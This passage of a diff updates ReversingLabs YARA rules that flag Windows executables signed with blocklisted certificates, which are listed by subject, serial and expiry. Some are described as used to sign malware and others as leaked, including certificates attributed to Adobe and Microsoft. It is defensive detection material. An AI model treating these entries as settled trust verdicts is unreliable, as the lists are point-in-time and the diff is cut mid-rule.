0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Medium LLC" and pe.signatures [ i ] . serial == "59:a5:7e:8b:a3:dc:f2:b6:f5:99:81:fd:a1:4b:03" and 1609113600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Enforced Licensing Intermediate PCA" and ( pe.signatures [ i ] . serial == "00:eb:aa:11:d6:2e:24:81:08:18:20" or pe.signatures [ i ] . serial == "eb:aa:11:d6:2e:24:81:08:18:20" ) ) } -rule REVERSINGLABS_Cert_Blocklist_Aebe117A13B8Bca21685Df48C74F584D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Aab11Dee52F1B19D056 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "ec525737-9770-585e-922a-43f14e0a4a37" + id = "c6334520-7f93-59d0-8a22-721b928c14d1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7012-L7030" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1074-L1089" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e7fbc1f32adec39c94dc046933e152cd6d3946da4a168306484b7b6bc7f26fb6" + logic_hash = "1f1215143dc828596e6d7eeff99983755b17eaeb3ab9d7643abdbb48e9957c78" score = 75 quality = 90 tags = "INFO, FILE" @@ -16757,21 +39151,21 @@ rule REVERSINGLABS_Cert_Blocklist_Aebe117A13B8Bca21685Df48C74F584D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NANAX d.o.o." and ( pe.signatures [ i ] . serial == "00:ae:be:11:7a:13:b8:bc:a2:16:85:df:48:c7:4f:58:4d" or pe.signatures [ i ] . serial == "ae:be:11:7a:13:b8:bc:a2:16:85:df:48:c7:4f:58:4d" ) and 1613520000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Enforced Licensing Intermediate PCA" and pe.signatures [ i ] . serial == "3a:ab:11:de:e5:2f:1b:19:d0:56" ) } -rule REVERSINGLABS_Cert_Blocklist_7Dcd19A94535F034Ee36Af4676740633 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6102B01900000000002F : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "c09778b6-17c9-5b24-8977-1bd998083c23" + id = "b98769c6-805e-5cd0-96f1-67418fec40a6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7032-L7048" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1091-L1106" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7079d4f1973ad4de21e1f88282c94b11c4d63f8bad12b35ef76a481e154d9da3" + logic_hash = "6c42daa8b8730541bb422ac860ec4b0830e00fdb732e4bb503054dbcae1ff6d4" score = 75 quality = 90 tags = "INFO, FILE" @@ -16781,21 +39175,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Dcd19A94535F034Ee36Af4676740633 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Toko Saya ApS" and pe.signatures [ i ] . serial == "7d:cd:19:a9:45:35:f0:34:ee:36:af:46:76:74:06:33" and 1609200000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Enforced Licensing Registration Authority CA (SHA1)" and pe.signatures [ i ] . serial == "61:02:b0:19:00:00:00:00:00:2f" ) } -rule REVERSINGLABS_Cert_Blocklist_Ca4822E6905Aa4Fca9E28523F04F14A3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_01E2B4F759811C64379Fca0Be76D2Dce : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "004454a0-20f9-58f5-8c24-8097f7586c5b" + id = "00effc8a-066c-54ff-891e-c635d161b171" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7050-L7068" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1108-L1124" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9633f3494e9ece3a698d47c5ba2b7ee7f82cee4be36ac418c969c36285c4963c" + logic_hash = "0dff7a9f2e152c20427ea231449b942a040e964cb7dad90271d2865290535326" score = 75 quality = 90 tags = "INFO, FILE" @@ -16805,21 +39199,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ca4822E6905Aa4Fca9E28523F04F14A3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ELISTREID, OOO" and ( pe.signatures [ i ] . serial == "00:ca:48:22:e6:90:5a:a4:fc:a9:e2:85:23:f0:4f:14:a3" or pe.signatures [ i ] . serial == "ca:48:22:e6:90:5a:a4:fc:a9:e2:85:23:f0:4f:14:a3" ) and 1614643200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sony Pictures Entertainment Inc." and pe.signatures [ i ] . serial == "01:e2:b4:f7:59:81:1c:64:37:9f:ca:0b:e7:6d:2d:ce" and 1417651200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_24C1Ef800F275Ab2780280C595De3464 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03E5A010B05C9287F823C2585F547B80 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "251212a5-95ce-5d9f-aec0-e6d3dd099349" + id = "14ad79c7-f669-59a6-94d1-978a13fbb337" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7070-L7086" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1126-L1142" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7536ec92f388234bea3b33bee4af52e0e0ce9cd86b1c8321a503f70bfe5faa76" + logic_hash = "1d57b640ee313ad4d53dc64ce4df3e4ed57976e7750cfd80d62bf9982d964d26" score = 75 quality = 90 tags = "INFO, FILE" @@ -16829,21 +39223,21 @@ rule REVERSINGLABS_Cert_Blocklist_24C1Ef800F275Ab2780280C595De3464 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HOLGAN LIMITED" and pe.signatures [ i ] . serial == "24:c1:ef:80:0f:27:5a:b2:78:02:80:c5:95:de:34:64" and 1614729600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MOCOMSYS INC" and pe.signatures [ i ] . serial == "03:e5:a0:10:b0:5c:92:87:f8:23:c2:58:5f:54:7b:80" and 1385423999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6401831B46588B9D872B02076C3A7B00 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Fe7Df6C4B9A33B83D04E23E98A77Cce : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "61b67e68-9e15-5848-b12a-437a0ad8399e" + id = "47a10658-c5c4-58b6-b154-7babcfbc50a2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7088-L7104" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1144-L1160" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cb84b27391fa0260061bc5444039967e83f2134f7b56f9cccf6a421d4a65a577" + logic_hash = "da5ed07def8d0c04ea58aacd90f9fa5588f868f6d0057b9148587f2f0b381f25" score = 75 quality = 90 tags = "INFO, FILE" @@ -16853,21 +39247,21 @@ rule REVERSINGLABS_Cert_Blocklist_6401831B46588B9D872B02076C3A7B00 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ACTIV GROUP ApS" and pe.signatures [ i ] . serial == "64:01:83:1b:46:58:8b:9d:87:2b:02:07:6c:3a:7b:00" and 1615507200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PIXELPLUS CO., LTD." and pe.signatures [ i ] . serial == "0f:e7:df:6c:4b:9a:33:b8:3d:04:e2:3e:98:a7:7c:ce" and 1396310399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A01A91Cce63Ede5Eaa3Dac4883Aea05 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_065569A3E261409128A40Affa90D6D10 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a1efbce8-3cca-5e07-a652-d67007c72a18" + id = "924c210b-f72a-51eb-af2a-9897faf8f677" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7106-L7122" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1162-L1178" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58a26b44e485814fa645bfa490f3442745884026bb7a70327d4f51645ad3f69c" + logic_hash = "f8d68758704e41325e95ec69334aaf7fabe08a6d5557e0a81bac2f02d3ab5977" score = 75 quality = 90 tags = "INFO, FILE" @@ -16877,21 +39271,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A01A91Cce63Ede5Eaa3Dac4883Aea05 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Seacloud Technologies Pte. Ltd." and pe.signatures [ i ] . serial == "0a:01:a9:1c:ce:63:ed:e5:ea:a3:da:c4:88:3a:ea:05" and 1618876800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Police Mutual Aid Association" and pe.signatures [ i ] . serial == "06:55:69:a3:e2:61:40:91:28:a4:0a:ff:a9:0d:6d:10" and 1381795199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_54Cd7Ae1C27F1421136Ed25088F4979A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0979616733E062C544Df0Abd315E3B92 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "76999ae0-966e-5c52-8e00-a3af8afd8fae" + id = "73222a8d-df63-5784-b5a2-0d936db8ddcb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7124-L7140" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1180-L1196" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c7cd84a225216ff1464a147c2572de2b0a2f69f7a315cdebef5ad2bab843b72a" + logic_hash = "034b233d6b6dd82ad9fa1ec99db1effa3daaa5bb478d448133c479ac728117ad" score = 75 quality = 90 tags = "INFO, FILE" @@ -16901,21 +39295,21 @@ rule REVERSINGLABS_Cert_Blocklist_54Cd7Ae1C27F1421136Ed25088F4979A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABBYMAJUTA LTD LIMITED" and pe.signatures [ i ] . serial == "54:cd:7a:e1:c2:7f:14:21:13:6e:d2:50:88:f4:97:9a" and 1616371200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jessica Karam" and pe.signatures [ i ] . serial == "09:79:61:67:33:e0:62:c5:44:df:0a:bd:31:5e:3b:92" and 1408319999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_F2D693Aad63E6920782A0027Dfc97D91 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7D3250B27E0547C77307030491B42802 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c4876bdd-35bc-5a3f-9f55-9a730e7ff5c8" + id = "54073485-e9a5-5a0b-a907-0e8a528da85d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7142-L7160" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1198-L1214" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8f29e65b39608518d16f708faef68db37b6e179c567819dccb6681adcec262e3" + logic_hash = "65f036921dfb9cbce3275aefb7111711e50874440096b2e3c3b55190cfc14ddb" score = 75 quality = 90 tags = "INFO, FILE" @@ -16925,21 +39319,21 @@ rule REVERSINGLABS_Cert_Blocklist_F2D693Aad63E6920782A0027Dfc97D91 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EKO-KHIM TOV" and ( pe.signatures [ i ] . serial == "00:f2:d6:93:aa:d6:3e:69:20:78:2a:00:27:df:c9:7d:91" or pe.signatures [ i ] . serial == "f2:d6:93:aa:d6:3e:69:20:78:2a:00:27:df:c9:7d:91" ) and 1598989763 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Banco do Brasil S.A." and pe.signatures [ i ] . serial == "7d:32:50:b2:7e:05:47:c7:73:07:03:04:91:b4:28:02" and 1412207999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_F8E8F6C92Ba666B0688A8Cacce9Acccf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_00D1836Bd37C331A67 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "909d0ce9-406c-539f-9d0e-d7ab1b277ee3" + id = "4d99e2ee-823e-568d-88b1-48aaf6d44286" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7162-L7180" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1216-L1234" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa419bc044be55d4c94481998be4e9c0310416740084eb8376842cf5416d78bf" + logic_hash = "8af1d10085c5be8924eb6e4ea3a9b8e936c7706d8ec43d42f24a9a293c7f9d27" score = 75 quality = 90 tags = "INFO, FILE" @@ -16949,21 +39343,21 @@ rule REVERSINGLABS_Cert_Blocklist_F8E8F6C92Ba666B0688A8Cacce9Acccf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5 th Dimension LTD Oy" and ( pe.signatures [ i ] . serial == "00:f8:e8:f6:c9:2b:a6:66:b0:68:8a:8c:ac:ce:9a:cc:cf" or pe.signatures [ i ] . serial == "f8:e8:f6:c9:2b:a6:66:b0:68:8a:8c:ac:ce:9a:cc:cf" ) and 1618531200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MINDSTORM LLC" and ( pe.signatures [ i ] . serial == "00:d1:83:6b:d3:7c:33:1a:67" or pe.signatures [ i ] . serial == "d1:83:6b:d3:7c:33:1a:67" ) and 1422835199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E3D5089D4B8F01Aadce2731062Fb0Cce : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Ca028D1A4De0Eb743135Edecf74D7Af : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "25df791f-1128-51f9-90da-9977262d00c7" + id = "19e1bce7-ad37-5223-b934-b20e78dfd071" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7182-L7200" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1236-L1252" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7f10b86f156ccac695f480661dfea8bcc455477afd9575230c2f8510327d1996" + logic_hash = "60b6351194e23153d425eaa0c25f840080a29abb5eb1bbcd41bb76a3d4130edd" score = 75 quality = 90 tags = "INFO, FILE" @@ -16973,21 +39367,21 @@ rule REVERSINGLABS_Cert_Blocklist_E3D5089D4B8F01Aadce2731062Fb0Cce : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DEVELOP - Residence s. r. o." and ( pe.signatures [ i ] . serial == "00:e3:d5:08:9d:4b:8f:01:aa:dc:e2:73:10:62:fb:0c:ce" or pe.signatures [ i ] . serial == "e3:d5:08:9d:4b:8f:01:aa:dc:e2:73:10:62:fb:0c:ce" ) and 1618358400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "2c:a0:28:d1:a4:de:0e:b7:43:13:5e:de:cf:74:d7:af" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Ed801843Fa001B8Add52D3A97B25931 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Dbb14Dcf973Eada14Ece7Ea79C895C11 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "7c685bb7-3201-5ffc-856b-657d824595ab" + id = "139f2e4f-7997-5cfd-aba2-dcf8d7525f5e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7202-L7218" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1254-L1270" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b7c9424520afe16bd4769e1be84163ac37b8fb37433931f2e362d90cacc01093" + logic_hash = "c73c83f5cb6d840b887e1aa41e96a29529f975434ac27a5aa57f2e14b342f63d" score = 75 quality = 90 tags = "INFO, FILE" @@ -16997,21 +39391,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Ed801843Fa001B8Add52D3A97B25931 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AM El-Teknik ApS" and pe.signatures [ i ] . serial == "7e:d8:01:84:3f:a0:01:b8:ad:d5:2d:3a:97:b2:59:31" and 1614297600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "db:b1:4d:cf:97:3e:ad:a1:4e:ce:7e:a7:9c:89:5c:11" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D9E834182Dec62C654E775E809Ac1D1B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F8C2239De3977B8D4A3Dcbedc9031A51 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "30831e91-c2aa-50bc-a0e9-ee7574fc58f4" + id = "3e102d0a-30e3-5f0a-9b67-a5fd15117e69" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7220-L7238" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1272-L1288" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3d8075e34fa3dc221bc2abc2630a93f32efbdde6df270a77b1d6b64d8ce56133" + logic_hash = "aa4f39790bc58b0a50e05e7670abad654d7f3d73e500bd5f054fece4a979ebfa" score = 75 quality = 90 tags = "INFO, FILE" @@ -17021,21 +39415,21 @@ rule REVERSINGLABS_Cert_Blocklist_D9E834182Dec62C654E775E809Ac1D1B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FoodLehto Oy" and ( pe.signatures [ i ] . serial == "00:d9:e8:34:18:2d:ec:62:c6:54:e7:75:e8:09:ac:1d:1b" or pe.signatures [ i ] . serial == "d9:e8:34:18:2d:ec:62:c6:54:e7:75:e8:09:ac:1d:1b" ) and 1614297600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "f8:c2:23:9d:e3:97:7b:8d:4a:3d:cb:ed:c9:03:1a:51" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_801689896Ed339237464A41A2900A969 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Caad8222705D3Fb3430E114A31C8C6A4 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "0ef4ce5c-b2a1-59e8-8d39-3cf7ab9fd0e1" + id = "d95b5e25-679c-57f8-b790-8f5633a23e4b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7240-L7258" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1290-L1306" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a371092cbf5a1a0c8051ba2b4c9dd758d829a2f0c21c86d1920164a0ae7751e6" + logic_hash = "35c4f46322da4f5b9f938c1098c8e57effc8abfc03db865190c343df7b8990ea" score = 75 quality = 90 tags = "INFO, FILE" @@ -17045,21 +39439,21 @@ rule REVERSINGLABS_Cert_Blocklist_801689896Ed339237464A41A2900A969 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GLG Rental ApS" and ( pe.signatures [ i ] . serial == "00:80:16:89:89:6e:d3:39:23:74:64:a4:1a:29:00:a9:69" or pe.signatures [ i ] . serial == "80:16:89:89:6e:d3:39:23:74:64:a4:1a:29:00:a9:69" ) and 1615507200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "ca:ad:82:22:70:5d:3f:b3:43:0e:11:4a:31:c8:c6:a4" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3Fd3661533Eef209153C9Afec3Ba4D8A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B191812516E6618D49E6Ccf5E63Dc343 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "e45d66b0-58ae-5054-b0a7-47a001daac7a" + id = "8f316011-9a29-5366-a26a-1fe20651ef17" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7260-L7276" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1308-L1324" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ce6c07b8ae54db03e4fa2739856a8d3dc2051c051a10c3c73501dad4296dde97" + logic_hash = "40c03e683b4b8e8a23ca84da7dfd3bd998d3708b27b7df7a22f25fb364c3a69b" score = 75 quality = 90 tags = "INFO, FILE" @@ -17069,21 +39463,21 @@ rule REVERSINGLABS_Cert_Blocklist_3Fd3661533Eef209153C9Afec3Ba4D8A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SFB Regnskabsservice ApS" and pe.signatures [ i ] . serial == "3f:d3:66:15:33:ee:f2:09:15:3c:9a:fe:c3:ba:4d:8a" and 1614816000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "b1:91:81:25:16:e6:61:8d:49:e6:cc:f5:e6:3d:c3:43" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Ced87Bd70B092Cb93B182Fac32655F6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Ba7Fb8Ee1Deff8F4A1525E1E0580057 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = 